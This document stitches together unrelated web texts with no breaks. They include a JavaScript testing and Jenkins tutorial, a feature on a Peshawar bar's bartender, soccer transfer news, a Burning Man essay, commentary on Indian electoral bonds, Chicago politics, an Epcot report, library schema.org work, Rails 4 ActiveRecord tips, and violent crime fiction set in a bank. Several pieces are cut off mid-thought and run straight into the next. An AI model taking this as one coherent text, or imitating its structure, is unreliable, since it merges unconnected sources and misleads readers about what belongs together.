After knowing these two very nice tools we already have two major components for or QA environment. What is still missing? Running a static code analysis and triggering unit tests for different devices from the command line is pretty cool already, but it would be even cooler if we were able to integrate jsLint and jsTestDriver into a continuous integration environment to automate the process of checking and testing our source code. A couple of lines ago, I have mentioned Jenkins as one possible tool for continuous integration and do you remember that jsLint4java and also jsTestDriver have a XML output? Bingo! This is the great benefit of these two tools, they generate a XML file that could easily be read by Jenkins (or any other continuous integration tool). Imagine this workflow: You write some new JavaScript code including tests, you check in your changes into your projects version control system, Jenkins recognizes that there are some changes and triggers the static code analysis and starts the execution of the test and after performing these two tasks the results will be displayed in some nice graphs.Sounds promising, doesn’t it? This is exactly what we will do with the next easy steps, because we only have to configure Jenkins- nothing more! Step one is to create an ANT task for each tool, this will be done in the projects build file (build.xml).
A sample definition of an ANT task could be found at the homepage of jsLint4 [http://docs.jslint4java.googlecode.com/git/2.0.1/ant.html].
Important for this configuration is the node target with it´s attribute name, because this is the value you have to enter into the Jenkins configuration. In addition, see the jslint node, where you can configure the strength or weakness of your analysis via the attribute options. Whereas the node formatter defines where the XML output should be saved, the fileset node defines the directory with the source code file that should be checked. That´s all for jsLint.
The task definition for jsTestDriver looks pretty similar:
This ANT task executes the tests on the defined browsers. Also it writes the output into the defined directory. And that´s all for the moment, all other needed steps have to be done in Jenkins, and that´s also easy.
Here the two needed steps:
And these are the results:
Conclusion
Through it all, Khan Afsar, the Khyber Club’s unlikely bartender, had a front-row seat.
Except Afsar did not actually have a seat in his spot behind the bar, and all the standing recently became too much to bear. So he has stepped down after nearly 25 years of six-day workweeks that he says left him with admiration for Americans, a rare sentiment in Peshawar and in Pakistan at large.
“They are good people” — not to mention good tippers, Afsar said. “They are helping us.”
As a recent Saturday evening shift began, a lone Canadian patron sipped beer at the bar and predicted that the crowd was unlikely to improve. The scene seemed a metaphor for U.S.-Pakistan relations, which boomed with cooperation during the Afghan resistance but now gape with mistrust.
Yet Afsar himself is a symbol of the ground-level relations between Americans and Pakistanis, which, despite the diplomatic tensions, are typically far more amiable than sour. Over the decades, Afsar — a devout Muslim who never tried alcohol — served as a steadfast and good-natured ambassador for Pakistan, building a trail of admirers now scattered around the globe.
“For a modest fellow from a mountain village . . . he supervised and served the foreign lunatics with kindness, merriment and unflappable aplomb,” Stephen Masty, who managed the bar in the early 1990s, wrote in an e-mail.
The club, then called the American Club, was launched in 1985 as a guesthouse for visiting U.S. officials. Peshawar swirled then with aid workers, missionaries, journalists, spies and diplomats working the sidelines of the Afghan war. One of the club’s neighbors was Osama bin Laden — a wealthy young Saudi who was funding mujaheddin fighters.
According to one American official there at the time, the club’s founders decided it needed a “discreet” bar, because then, as now, alcohol was mostly prohibited in Pakistan. Foreigners soon flocked to the club for drinks, cheeseburgers, music and aerobics on the terrace. But the big draws were tales from “inside,” as Afghanistan was known, said Robert D. Kaplan, a former patron who is now a national correspondent for the Atlantic magazine.
Afsar donned his bartender’s waistcoat in 1987, after a few years waiting on Americans working at a dam project in northern Pakistan. It was a solid gig, he said, for a man whose growing family lived a few hours away near Abbottabad, the city where bin Laden would be killed by Navy SEALs 24 years later. For safety’s sake, though, Afsar told only relatives where he worked.
He memorized the ingredients for B-52s and Manhattans from a book, and as Afghan fighters downed Soviet aircraft with CIA-funded Stinger missiles, Afsar’s stinger cocktail — creme de menthe and brandy — became famous from western Pakistan to the Chinese border, Masty said. The man behind those missiles, the late U.S. congressman Charlie Wilson, preferred Johnnie Walker on the rocks, Afsar said.
“If I see a face, I remember it,” said Afsar, explaining that he no longer recalls all the notables he served. “Here, every customer is famous.”
Though U.S.-Pakistan relations ebbed after 1990, the club kept up, and so did Afsar, always adhering to his daily prayer schedule. The bar expanded. The tennis court was replaced by a swimming pool.
Things began changing about five years ago, as Islamist militants expanded their reach and launched attacks in northwest Pakistan. Hostility toward Americans rose, and many international organizations withdrew foreign workers to Islamabad, the capital. The club’s security walls multiplied, and more American customers sported beards and tattoos, said Yusuf Ghaznavi, a Pakistani American who has been a fixture at the club for two decades.
“I presume they were contractors,” Ghaznavi said. “Their main concern was A, how soon they are going to get out, and B, how much money they are making.”
As bilateral tensions soared, Pakistan ordered the departure of most U.S. military representatives, many of whom had been based in Peshawar. The American mission in Peshawar now has a skeleton staff whose security guidelines prohibit much movement in the city.
Against that backdrop, the club has become more of a lifeline, recent patrons said. Three U.S. troops who were killed in a roadside bombing in northwest Pakistan in 2010 were mourned at the Khyber Club, said one U.S. diplomat stationed there then. Afsar also served as a lifeline, the diplomat said — a historian and a middleman who could always fulfill orders for the perfect Pakistani carpet or shawl.
When patrons learned two years ago that Afsar’s wife was ill, they held a fundraiser at the club.
“It’s the only time I saw his tears,” the diplomat said.
Afsar dismisses the plaudits, saying he just did his job. He insists the work never brought him threats from militants or hounding from Pakistani intelligence.
A few months ago, a motorcyclist accidentally struck Afsar while he walked to work. The injuries were not severe, but Afsar said they made him too weak to tend bar. He misses it, he said, sitting at a round table near stacks of board games and DVDs while his replacement slid open the liquor cabinet.
“It’s a little boring now that I am retired,” said the father of eight and grandfather of six.
Afsar, a witness to decades of globe-shaking history, would hazard no guess about the future of the club or Afghanistan. U.S.-Pakistan relations, he thinks, will soldier on.
The duo’s agent, Maximiliano Roditis, told MLSsoccer.com on Wednesday that the Chicago Fire, Philadelphia Union, San Jose Earthquakes and Chivas USA have all made inquiries about the Santos Laguna players, but added that there is also competition from elsewhere.
Puebla coach Rubén Omar Romano has also been in touch, according to Roditis, and is keen on bringing in midfielder Joya (top right) next season, while a “team in Denmark” and Mexican second-division side Lobos BUAP have shown interest in forward Cuevas (top left).
San Jose declined to comment on interest in either player when contacted by MLSsoccer.com on Thursday, while Chicago said they have not been in contact with Roditis. Chivas USA and Philadelphia have not yet responded to requests for comment.
Neither player would necessarily have his choice of destination should they opt to sign with Major League Soccer, however. The US youth internationals would be eligible for January's SuperDraft, according to the MLS player personnel department or, if they signed with the league after January 16, would enter a weighted lottery.
Cuevas and Joya, both 20, have found opportunities in Santos’ first team limited this year, with them missing a significant amount of time with their club side due to their commitment to Tab Ramos' US U-20 side.
San Jose, Calif., native Joya hasn’t appeared in Liga MX play since last October, while Sacramento native Cuevas has yet to make his full professional debut, despite both impressing in the CONCACAF U-20 Championship and the FIFA U-20 World Cup this past summer in Turkey.
Santos coach Pedro Caixinha told MLSsoccer.com last month that Cuevas and Joya came back injured from the World Cup, which hampered their chances of first-team action, but stressed that any decision over their future would have to wait until the end of the Apertura playoffs, in which Los Guerreros are expected to make a deep run.
Roditis, however, says a decision on Cuevas' and Joya’s future will be made in the “near future.”
It is a larger version of ... what? Woodstock? That was a bunch of teenagers coming to watch artists perform. At Burning Man, everyone is expected to be a participant. Burners bring their art work, their art cars, their personal dress and/or undress: everyone is on stage. The story of Woodstock was thousands of young people, without the sense to bring their own food and water, being rescued by the state police and sensible bourgeois rural folks. The story of Burning Man is one of radical self-reliance.
It is a more intense than ... what? Not quite the Edinburgh Fringe Festival. Burning Man is an arts festival in the middle of the Nevada desert. It takes hours to get there, and you must bring what you eat or wear or need: you cannot buy anything there. Burning Man is more like Brigadoon – a western ghost town that springs to life. Dust storms. Cold nights. Black Rock City is completely built and then taken apart and disappeared each year, by 65,000 people.
Burning Man is greater than I had ever imagined. I have been to large demonstrations in favor of the environment, and the trash left behind is knee-deep. At Burning Man, you are hard-pressed to find a cigarette butt on the ground. There are no trash bins. Participants carry it in, and they carry it out. I have been to the Louvre. It is a very big place with many nice paintings. I knew that. I was not disappointed. Burning Man is more like Petra, the lost city in Jordan, which I found more impressive than its advance billing or reputation.
My wife and I had planned to join the “event” in 2012, but some idiot scheduled the Republican National Convention in Tampa for the same week. I objected, but the overlapping bit of the Venn diagram of Burners and Mitt Romney enthusiasts was perhaps not as large as I had thought.
Some self-professed “progressives” whined at the thought of my attending what they believed was a ghetto for liberal hippies. Yes, there was a gentleman who skateboarded without elbow or kneepads – or any knickers whatsover. Yes, I rode in cars dressed-up as cats, bees and spiders; I watched trucks carrying pirate ships and 30 dancers. I drank absinthe. But anyone complaining about a Washington wonk like me at Burning Man is not a Burner himself: The first principle of Burning Man is “radical inclusiveness”, which pretty much rules out the nobody-here-but-us liberals “gated community” nonsense.
Before my wife and I arrived in Nevada last week, we were showered with kind comments from Burners disassociating themselves from the idea that Burning Man belongs to any political camp. Indeed, I found political allies who gave me wonderful advice – they had been participating for years.
A community that comes together with a minimum of “rules” demands self-reliance – that everyone clean up after themselves and help thy neighbor. Some day, I want to live 52 weeks a year in a state or city that acts like this. I want to attend a national political convention that advocates the wisdom of Burning Man.
I was invited to speak to a group one night for an hour. Moments before I spoke, I was told that I was the last speaker in a series focusing on psychedelic drugs. My talk was on freedom. I left untouched the cup of coffee and opened soda at my side. The questions lasted two hours. We had a ball.
Looking at the effort behind each camp – each art car, each public art display and sculpture – I was reminded, à la The Princess Bride, that this word “bohemian”: I do not think it means what you think it means.
One sculpture was the three-story “Embrace” – two upper torsos and heads facing each other. They took two years to create. Three weeks to assemble in the middle of nowhere. Maybe an hour to burn on Friday morning. This is hard work. Indeed, there is entirely too much work involved at Burning Man for lazy people to get to the Playa, nevermind build a camp or feed yourself.
You hear that Burning Man is full of less-than-fully-clad folks and off-label pharmaceuticals. But that’s like saying Bohemian Grove is about peeing on trees or that Chicago is Al Capone territory. Burning Man is cleaner and greener than a rally for solar power. It has more camaraderie and sense of community than a church social. And for a week in the desert, I witnessed more individual expression, alternative lifestyles and imaginative fashion than .... anywhere.
The demand for self-reliance at Burning Man toughens everyone up. There are few fools, and no malingerers. People give of themselves – small gifts like lip balm or tiny flashlights. I brought Cuban cigars. Edgy, but not as exciting as some “gifts” that would have interested the federal authorities.
I’m hoping to bring the kids next year.
In his budget speech, Jaitley suggested a few ways to make electoral funding more transparent.
Lower the threshold on anonymous cash donations to Rs 2,000, from Rs 20,000. Allow parties to get any amount of money if it comes by cheque or digitally Permit the use of electoral bonds, issued by the Reserve Bank of India, which will make it easier to donate money to political parties. Require all political parties to file their income tax returns.
The first and last of these provisions are mostly meaningless. Lowering the threshold to Rs 2000, without putting a cap on the total amount of anonymous cash donations, means parties just have to say they received ten donations of Rs 2,000 instead of one lump sum of Rs 20,000 allowed currently. And parties were always expected to file their income tax returns, even if they are exempt from paying any taxes.
The fine print on points two and three, however, makes it clear that this promised electoral reform actually makes political funding less transparent.
Corporate funds
Take the question of political parties receiving money by cheque or digitally. The Bharatiya Janata Party has made common cause with its opponents in arguing against political parties coming under the Right to Information Act. So though the parties will automatically record details of who is donating by cheque or digitally, the question of whether this is open to the public record remains one for the courts to decide.
The BJP has now gone a step further. One of the last-minute amendments added to the Finance Bill 2017, included a change to the Companies Act that removes restrictions on how much money can be donated to political parties and deletes a requirement that companies tell the public who they donated money to.
As PRS Legislative, a research firm, explains,
Currently, a company may contribute up to 7.5% of the average of its net profits in the last three financial years, to political parties. The company is required to disclose the amount of contributions made to political parties in its profit and loss account, along with the name of the political parties to which such contribution was made The amendments to the Finance Bill, 2017 propose to remove: (i) the limit of 7.5% of net profit of the last three financial years, for contributions that a company may make to political parties, (ii) the requirement of a company to disclose the name of the political parties to which a contribution has been made.
In other words, companies previously had to stick to a certain limit and had to list out the parties they were donating to. No longer.
Electoral bonds
Jaitley announced electoral bonds in the Budget, and later more details were provided in the Finance Bill he introduced in Parliament. Simply put, electoral bonds are like promissory notes, bearer bonds or any other financial instrument. Any person can buy these bonds from a notified bank, and then deposit them in an account listed out by a political party.
How does that clean up electoral funding, if it is basically an alternative currency that can only be paid to political parties? The government presumes that the notified banks will act as the filter to make sure there is only white money coming into the electoral bonds.
But there’s a catch. The Finance Bill also seeks to amend the Representation of People’s Act – which governs elections in India – to ensure that electoral bonds are anonymous. Those buying these bonds to put money into political parties do not have to record who they are.
Jaitley was clear about this:
“Every recognised political party will have to notify one bank account in advance to the Election Commission and these can be redeemed in only that account in a very short time. These bonds will be bearer in character to keep the donor anonymous.”
So the government has introduced a new way of donating large sums of money to political parties that is entirely anonymous in nature.
Special interests
How can the government possibly claim that these two moves, both of which make it easier for anonymous money to be given to political parties, amounts to electoral reform? Jaitley’s approach is similar to what the government carried out during demonetisation. It presumes cash is the only way to route “dirty” money and takes all digital or cheque-based transactions to be automatically clean.
In effect, what the BJP is trying to do here is to move away from the black money believed to plague political parties, while opening the door for huge tranches of cash from corporations that can remain anonymous.
Remember, last year the BJP used the Finance Bill to change rules allowing political parties to receive foreign funds. And they did this with retrospective effect, so that a Delhi High Court verdict holding the BJP and the Congress guilty of receiving illegal foreign funds was no longer a crime.
The move towards electoral bonds and non-declaration from companies might reduce the black cash problem of Indian politics, but it makes it much easier for American style special interests to pump large amounts of money into parties without having to declare them.
She is currently preparing to run the marathon in 2012 Olympic Games in London. She recently won the Lisbon Half Marathon in 1:08:51 on a hot day, with temperatures in the low 70’s (23 C).
Shalane is also planning to compete in the U.S. Olympic Trials for the 10,000 meters on June 23. She holds the American Record for the 10,000 meters, with a time of 30:22.
She trains with Kara Goucher and Lisa Uhl, under Coach Jerry Schumacher.
What questions do you have for Shalane? I’ll try to work them into the interview on Monday. Please share them in the comments.
Related Posts:
Interview with Shalane Flanagan
Tart Cherry Juice Fuels Shalane Flanagan’s Marathon Debut
Win a Copy of Kara Goucher’s Running For Women
The last time Rep. Dan Burke (D-Chicago) had a serious primary opponent in 2010, the longtime Southwest Side legislator won by just 579 votes over activist Rudy Lozano. And it could've been a closer race had two Latino "candidates" not been put on the ballot to siphon away almost 400 votes from the progressive activist Lozano.
At the moment, the age-old Chicago machine practice of running fake primary candidates designed to draw votes away from opponents is on hold while a federal judge takes a look at a lawsuit filed by Speaker Michael Madigan's vanquished 2016 primary opponent.
Madigan is alleged to have put two do-nothing candidates with Latino surnames on the ballot to draw votes away from Jason Gonzales. That never used to be considered a crime. Unfair and maybe unethical, but not illegal. Whatever it is, it's now under judicial scrutiny.
This time around, Rep. Burke is going one-on-one with Aaron Ortiz, a teacher and head soccer coach at Back of the Yards High School.
What makes this race one to watch is that Ortiz has been endorsed by Cook County Commissioner Jesus "Chuy" Garcia, a 2015 Chicago mayoral candidate and Bernie Sanders' top guy in the city in 2016 who is now running for Congress with the support of the retiring incumbent, congressman Luis Gutierrez.
Rep. Burke is a member of Speaker Madigan's leadership team and his brother, Ed, is a powerful Chicago alderman. Those guys take care of their own. If Rep. Burke is willing to wage an all-out street fight, then that's what will happen.
So, two rival Chicago political factions -- the regulars and the progressives -- are gearing up for battle on several fronts while some are attempting to cut a deal that clears a path for people on both sides.
Commissioner Garcia and his allies are supporting Alma Anaya for Garcia's county board seat. Anaya has run Garcia's district office. Sen. Martin Sandoval (D-Chicago) is supporting his daughter, Angeles Sandoval, for that same county board spot. Sen. Sandoval, who has one of the strongest remaining political organizations in the city, and Sen. Tony Muñoz (D-Chicago) have each contributed $55,000 to Angeles Sandoval's campaign.
Sen. Muñoz is a top contender for Illinois Senate President whenever incumbent John Cullerton decides to retire. Ms. Sandoval should therefore have little trouble raising money from special interests.
Sens. Sandoval and Muñoz and Rep. Burke and their allies want Chuy Garcia to pull his support from Ortiz and Anaya, clearing the path for Rep. Burke and Ms. Sandoval.
In exchange, the "regular Democrats" will stay out of the Garcia's "progressive" campaign for Congress. If not, they may back someone like Sol Flores, the only woman in the race to replace congressman Gutierrez. Flores was just endorsed by EMILY's List.
So, that may be why a Public Policy Polling survey was released last week showing Garcia getting 53 percent in the Democratic primary. Everybody else was in single digits, including Flores who was at 3 percent. Garcia could wind up cruising to victory, so why not stick to his guns on the other campaigns?
Well, few people like to work more than they absolutely have to, and nothing is ever a 100 percent bet in politics. So, we'll see where this one goes. A lot of maneuvering appears to be ahead.
Our latest photo report brings us to Epcot, just days before the Food and Wine Festival takes over for its longest run in park history. Crowds are light now, but things are just starting to heat up…
Immediate Boarding
Soarin’ Around the World was posted at a 5 minute wait, so I decided to time it…
We edned up walking straight into the pre-show, a total wait of 3 minutes and 45 seconds. Crowds were light most of the weekend, but should pick-up very soon.
ImageWorks
If you haven’t heard about the floor in Imageworks, check out my post from over the weekend.
A new open edition Princess mystery pin collection is available.
Around the World
Is it art?
Loving this bottle opener available at the Germany pavilion.
A fairly new Germany t-shirt.
Looks like America has a new booth for the Food and Wine Festival.
Morocco does as well, noticeably nicer than the predecessor,
A Chip Off The Old Mug
With the success of the ceramic Chip mug, there is now a plastic version for children.
A new series of bags featuring Mickey and Minnie can be found around the resort.
Monsters University Hat
Over the last year, I have noticed a lot of guests wearing the MU hat from Monsters University. I guess Disney noticed this too, because it is now available just about everywhere…
La Cantina Says Adios to Breakfast
La Cantina de San Angel has discontinued the recently introduced breakfast service as the Mexico pavilion no longer opens at 9am along with Norway. Lunch service here now begins at 10am.
Obsolete Innoventions
The Sum of All Thrills inside Innoventions will close on Tuesday.
Stormstruck in Innoventions is also closing on Tuesday. Colortopia will be the only existing exhibit as of next week (and that weird Nanooze thing I guess).
This and That
A new Frozen shirt available at the exit of Frozen Ever After.
Alberta Bound is back playing the Mills Stage in Canada for a limited time.
Some Cutter spray could be found alongside the bug repellent lotion at some kiosks around the park.
Some new Disney Boutique shirts available inside MouseGear.
Hatbox Ghost Jim Shore Statue
Not to be confused with all American indie queens Haim, Haihm, or 하임 in Hangul, is an elusive electronica act who went below radar following the release of her eponymous debut album in 2008, concentrating since then on idiosyncratic production work for Yoon Sang, IU, and Ga-in, while playing the odd gig here and there in Seoul as part of the We Are The Music Makers residency at Mudaeruk 무대륙. If you miss Haihm’s WATMM show tonight, you can still catch her work at the current Noise 소음인가요 sound installation in Seoul Museum of Art’s Project Gallery, with its free showcase of Korean electronic music running until June 22. Find the museum by City Hall station, and check out this classic Haihm remix of the Brown Eyed Girls 브라운 아이드 걸스 track Second on Soundcloud below:
Individual holdings are expressed as Offer instances per the W3C Schema Bib Extension community group proposal to parallel commercial sales offers. And I have published a branch to give the same capabilities to the VuFind discovery layer, as well.
In the spring of 2012, I took my first steps in the structured data world by teaching Evergreen 2.2 how to express some record details in schema.org. It was a small step towards taking the machine-readable data that we had made useful to humans on the record detail catalogue page and marking it up so that it was once again machine readable. At that time, Evergreen only knew how to map MARC data to two schema.org types ( Book and MusicRecording --which should have been MusicAlbum , but I eventually fixed that) and a handful of attributes: name , ISBN , publisher , publication date , author , contributor , and keywords . Pretty barebones, but a start nonetheless.
I used the HTML5 microdata approach because I was new to structured data and microdata was what was demonstrated in all of the schema.org examples, so it seemed like the obvious choice. Over the last year, however, I realized that RDFa is a W3C standard for accomplishing the same goals as microdata, bolstered by an open community standards-making process, and featuring the ability to mix in properties and types from multiple vocabularies. I touched on this in my Evergreen 2013 conference presentation: Structured data: making metadata matter for machines. While RDFa Lite is extremely easy to get started with, I have been diving deeper into RDFa proper to make use of some of the more advanced properties, such as @about to work around unwanted chaining introduced by @href attributes.
Over the last few weeks, I was able to concentrate on improving the schema.org mapping for Evergreen--introducing holdings as instances of the http://schema.org/Offer class, providing much more granular author and contributor data--and cut over to RDFa. While the tools at RDFa Tools were quite useful for debugging my efforts, I also have to thank the denizens of the #rdfa IRC channel (and Manu Sporny in particular) for patiently helping me understand some of my rookie mistakes. Ben Shum also kept me honest by patiently testing multiple iterations of my branches with the Google Rich Snippets tool and reporting any issues that he encountered; this led to my realization that using @resource and @about were necessary in some contexts.
Once I had worked out a decent mapping in Evergreen (a library system I have been contributing to for over six years now), I decided to tackle the VuFind discovery layer. VuFind uses a straightforward template system, and I was able to put together a branch that integrated schema.org as RDFa (details at VuFind bug 425), building on Eoghan Ó Carragáin's initial efforts. Once again I included holdings-as-Offers, as the Evergreen driver for VuFind made that easy enough to test. As part of my work, I contributed some enhancements for the Evergreen driver that have already been integrated into VuFind. The initial reception from the VuFind community was positive, although my branch arrived too late for the VuFind 2.1 release; if all goes well, it will be integrated for the VuFind 2.2 release. In the mean time, sites running VuFind that want schema.org structured data can integrate my branch themselves--and please provide feedback!
As I was on a roll, I also opted to tackle the Koha integrated library system. With some initial pointers from Galen Charlton and Chris Cormack to the XSLT-based templating system that Koha uses, I was able to implement schema.org with holdings-as-Offers in a matter of hours for the first iteration. Jared Camins then worked patiently with me as I added small commits to address issues that came up on the Evergreen side, but in under a week from start to finish the branch was signed off, passed QA, and and pushed to master.
(It actually broke the build due to a coding violation--doh!--but that was quickly cleaned up.)
The upshot? We now have two library systems set to publish rich schema.org structured data--including holdings--in RDFa, out of the box by default, in their record detail pages on the Web, and a third system ready to go.
That’s what happens with those who are too lazy to keep their web application up to date with Rails. You can find many posts describing the process of migration to Rails 4.0. In this article I’d like to tell you about my favourite changes in ActiveRecord 4.0.
I assume that your Rails version is 3.2 or greater, otherwise you most likely were already eaten.
Rails 4.0 comes with a bunch of new features such as Russian Doll-caching and Turbolinks. But probably the most important change for us was improved support of PostgreSQL databases.
Since first version of Rails it assumed that you use MySQL to store your data. Steve Klabnik wrote an article about two default stacks used by Rails projects today. Whereas MySQL is well-supported by Rails and its default ORM ActiveRecord, most of PostgreSQL features (like hstores, arrays etc.) were undeservedly ignored. Until Rails 4 came in.
HStores
As you may noticed, here at adeven we are big fans of crunching numbers with Postgres. And we love to have them returned as hashes, that could be easily mapped on value objects. If you had ever tried using hstores with Rails, I bet you did it with activerecord-postgres-hstore gem that allows you to use ActiveRecord::Coders::Hstore serializer for handling hstores. Good news, since Rails 4.0 you can get rid of this dependency in your Gemfile. You don’t even need to declare your hstore fields as serializable, Rails is smart enough to detect and properly cast the type of your column.
Moreover, if you have a custom serializer built on top of hstore then you don’t have to manually parse a string with serialized hash anymore. Just assume the parameter for your load method to be a hash and it should be returned as a result of your custom dump method.
Consider a serializer class for a field containing an hstore. With ActiveRecord::Coders::Hstore it could look like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 class CustomHstore def self . load ( value ) hash = value . from_hstore # Do something with hash hash end def self . dump ( value ) ActiveRecord :: Coders :: Hstore . dump ( value ) end end
Since Rails 4.0 it turns into
1 2 3 4 5 6 7 8 9 10 11 class CustomHstore def self . load ( hash ) # Do something with hash hash end def self . dump ( value ) value end end
Less work for us, right?
Everything is an ActiveRecord::Relation
Lazy loading of database objects was first introduced in ActiveRecord 3.2. That means that the database will be queried only when you really need the data. Until then you’re dealing with ActiveRecord::Relation . This approach plays well with a streaming feature deferring data extraction until view rendering phase. It was still possible to eager load the data by calling all on your scope which implicitly converted your ActiveRecord::Relation into Array . Starting from ActiveRecord 4.0 this ambiguity has been removed. From now all and scoped are deprecated and you should either explicitly call to_a on your scope to get an array of results or call load to eager-load your data.
where.not
That is the change we all were waiting for! Starting from Rails 4 you can make your code more database-agnostic by replacing pure string conditions with chained empty where and not methods.
1 2 3 4 5 6 7 names = %w(John James) # Rails 3.2 User . where ( "name NOT IN (?)" , names ) # Database-dependent # Rails 4.0 User . where . not ( name : names ) # We don't need to take care of type of 'names'
Scopes must be turned into lambdas
Consider a model that has a scope with datetime
1 2 3 class Post scope :yesterday , where ( published_on : Date . yesterday ) end
Parameters that will be passed to where are evaluated at the time when Post is loaded, which means that on the next day Post.yesterday will keep the same records as for today. To avoid this since ActiveRecord 4.0 you have to use lambdas to define scope (as well as default scope) conditions:
1 2 3 class Post scope :yesterday , -> { where ( published_on : Date . yesterday ) } end
Note that Date.yesterday will be evaluated only when the ActiveRecord will call lambda given as an argument to apply the scope.
Getting rid of “Unknown OID” warning
After I updated our app to Rails 4.0 I got a bunch of warnings saying Unknown OID: ... . It happens when Rails tries to find out the OID for the column to properly cast the type. This pull-request gave me a hint that from now you should be more strict and explicitly define what column type should be expected when using SQL 'column' AS alias statement.
1 2 3 4 User . select ( "'name' AS full_name" ) . first # unknown OID: full_name(705) (SELECT 'name' AS full_name FROM "users" ORDER BY "users"."id" ASC LIMIT 1) User . select ( "'name'::character(255) AS full_name" ) # The proper way
Conclusion
Though African elephants are protected under the Endangered Species Act, the law allows the United States Fish and Wildlife Service to authorize imports of trophies if the agency finds that the hunts in which the animals were killed contribute to the survival of the species.
The United States banned such imports from Zimbabwe in 2014 because of a lack of data on conservation efforts there. Now the United States agency says it is satisfied with Zimbabwe’s actions and believes such hunts can be beneficial for the species by bringing money to local communities and providing incentives to conserve elephants.
I woke the next morning, or more accurately, afternoon on my brother’s couch. My head was throbbing and I had the taste of vomit in my mouth. I was probably still drunk. I don’t know and it really doesn’t matter. I sat up and cracked my back. I do this far too often for someone so young. On my drive home I vaguely recollected a three-hour conversation over the impact Alice in Chains had on the youth of the mid-nineties. I got too drunk and we both got far too emotional. My smokes were still in my jacket pocket. Naturally I went for them. Only one left. This day was starting off great. Puffing greedily, I turned into the parking lot of my hole of an apartment. Angry with myself for the previous night and stuck in a hangover haze that a carton of cigarettes and a pot of coffee couldn’t lift; I failed to notice the garbage truck backing out. Now there’s an eye-opener. Most of the damage was confined to the left front quarter panel, which was already ruined due to a previous collision. Nonetheless, it did manage to make a bad day worse.
After getting inside, I checked my wallet. I was amazed to find I had enough to pay one of the aforementioned bills. I opted for power. Who needs a phone, anyway? I had three hours until I had to be at work. Sleep sounded like a good idea. I woke up four hours later. See a pattern yet? Note to self: if it seems like a good idea, don’t do it.
I’d like to say money doesn’t matter, but anyone who can say that and not be lying, has too much. Money is the basic root of my problems. I work, yes, I work a lot. I don’t get paid dick, though. This pisses me off. I drink to forget why I’m pissed, which leaves me a very angry drunk.
Anyway, you don’t care about that. It does however bring us to the crux of this little tale. It’s been two weeks and it’s Pay Day again. Every two weeks I take my meager pittance to the Eastside branch of the First National Bank of Evansville and have it converted to cash form. There is one teller there, I remember her from high school. Her name is Leigh, not Lea, Leia, or Lee. It’s Leigh; make sure you get it right. Don’t misspell, or mispronounce it. She hates that. She doesn’t remember me, or, at least she pretends she doesn’t. Usually she’s the one that is open when my turn comes up. Guys, here’s a little tip. Never fall for a Teller. They already know where you work and how much you make. In my case it wouldn’t matter if I were a made-for-TV millionaire, Leigh’s married. But she is nice to look at.
“Sir?” The cute little blonde over there, beckoning my dumb ass; that’s her. “Can I help you?”
After staring like an idiot for a second, I finally decided to move. “I just need to cash this,” I said, handing her the check.
“Do you have an account here?”
Same routine, same time, different week. “Yes.”
“Did you want to deposit anything today?”
“No.”
She counted out five hundred twelve-dollars and thirty-seven cents. This check is a little better than the last one. I could get the phone turned back on. But then again I’d have to deal with all the other bill collectors calling.
“Have a good day, Mr. Finnegan.”
“You too--” I looked over at the placard in front of her workstation, pretending not to know her name. “Leigh.”
She gave me a customer-service smile and I turned to leave. I was stuffing my money into to my wallet on my way out. Three men came in, I didn’t notice, being too consumed with my finances.
That is until one of them slammed into to me.
“Hey, Watch it!----” My protest was abruptly halted by a cocked shotgun, looking huge, just beyond the tip of my nose. If you believe in the principle of karma, you’ve probably come to the same conclusion that I have: I must have been a wretched excuse for a human being in a past life.
“Back it up, A-hole.”
I’m not censoring my shotgun-toting friend here, he actually called me an ‘A-hole.’ Nevertheless, he got his point across.
“All right,” the obvious leader of the group spoke up. “Everyone stays cool and nobody gets dead.” He said calmly as he produced a pistol, a Beretta .22 to be more exact. “Ladies,” he swept the barrel across the teller’s stations. “Let me see your hands.”
They did the smart thing and complied.
“Who can open the vault for me?”
No one answered. The shotgun was still pointed at my face.
“I don’t like waiting, people.” He let the words hang in the air. “Tito, crowd control; Jermaine, waste’em one by one until whoever can get me into that vault speaks up.”
“Where do I start, Janet?” the shotgun asked.
Janet? Calling a man with a gun Janet didn’t strike me as the wisest thing to do. Then it struck me. Janet was the more masculine of the two obvious choices for the leader of this little comedy troupe.
Janet, the Beretta, looked back at the bank’s patrons corralled into a corner. He picked out a woman who looked to be about six months pregnant with a scared child clutching to her leg. “That one.” He turned back to the branch’s employees. “Make the kid watch.”
Jermaine, the shotgun, shoved me back with the stock, then grabbed the woman by the hair and tugged her and her child to the center of the lobby. “On your knees, please.” The woman complied, crying softly. “Junior, over there.” He pointed at the floor in front of the woman. “Watch Mommy’s head go splat.” The child was crying uncontrollably. The woman was trying to calm him.
“It’ll be alright, sweetie,” she said through her tears.
Jermaine cracked her in the back of the head with the shotgun’s butt. “It isn’t gonna be all right, bitch! You’re gonna fucking die unless someone opens that fucking vault!”
“Christ, somebody do something!” It came from behind me. It was a shrill cry; it could’ve been a man or a woman.
“You wanna take her place?” Jermaine bellowed in the direction of the voice. He waited a couple seconds. There was no reply. Jermaine cocked the twelve gauge; dumping a live round on to the lobby floor. The shell landed with a thump on the on the semi-industrial grey carpet. Jermaine, in his excitement, had forgotten that he already had a round chambered. I studied the shell on the floor. I was hoping for a Winchester Red Super-X load of birdshot. What I saw was a three inch olive drab shell. Four-buck, or worse, double-ought. These guys were serious. I looked up at Jermaine. His finger was on the trigger. If I tackled him, he might miss the woman, but I was as good as dead. The other ten or so people in the lobby might make it. Of course, they might just decide to execute the lot of them and carry on with the robbery.
A sickly looking man of about fifty saved me the decision, standing among the employees. He had a too-large head perched on a scrawny body. “Okay,” he cried out, “okay, just don’t hurt anyone!”
Janet looked at the woman, still on her knees. “Thank him.” He turned and stalked to the man and grabbed him roughly by the arm. “Move it, Egg-head. Jermaine, clear the cash drawers; Tito, get their wallets.” Janet motioned at us.
Tito was packing a snub-nosed revolver. He produced a trash bag from a pocket and began moving slowly down the line, toward me. With every wallet that dropped into the bag, I moved one step away from fear and closer to rage. Five hundred twelve dollars; I wasted two weeks of my life for that and this Fuck was gonna take it from me.
Tito held the bag out in front of me. I didn’t move.
“What are you waiting for, Jack-hole?” He shoved the gun in my face, holding it sideways, like an idiot. “Put it in the bag!”
Jack-hole? What the hell does that mean? What kind of bank-robber doesn’t curse?
If I gave them that money, I’d be evicted, my insurance cancelled. I’d have to sell my rattletrap car just to eat. “Fuck you,” I said quietly.
“What?” Tito laughed.
“I said, ‘Fuck you.’ You ain’t getting my wallet.” I snarled at him.
“Hey, Janet!” Tito yelled over his shoulder, “We got a tough guy!”
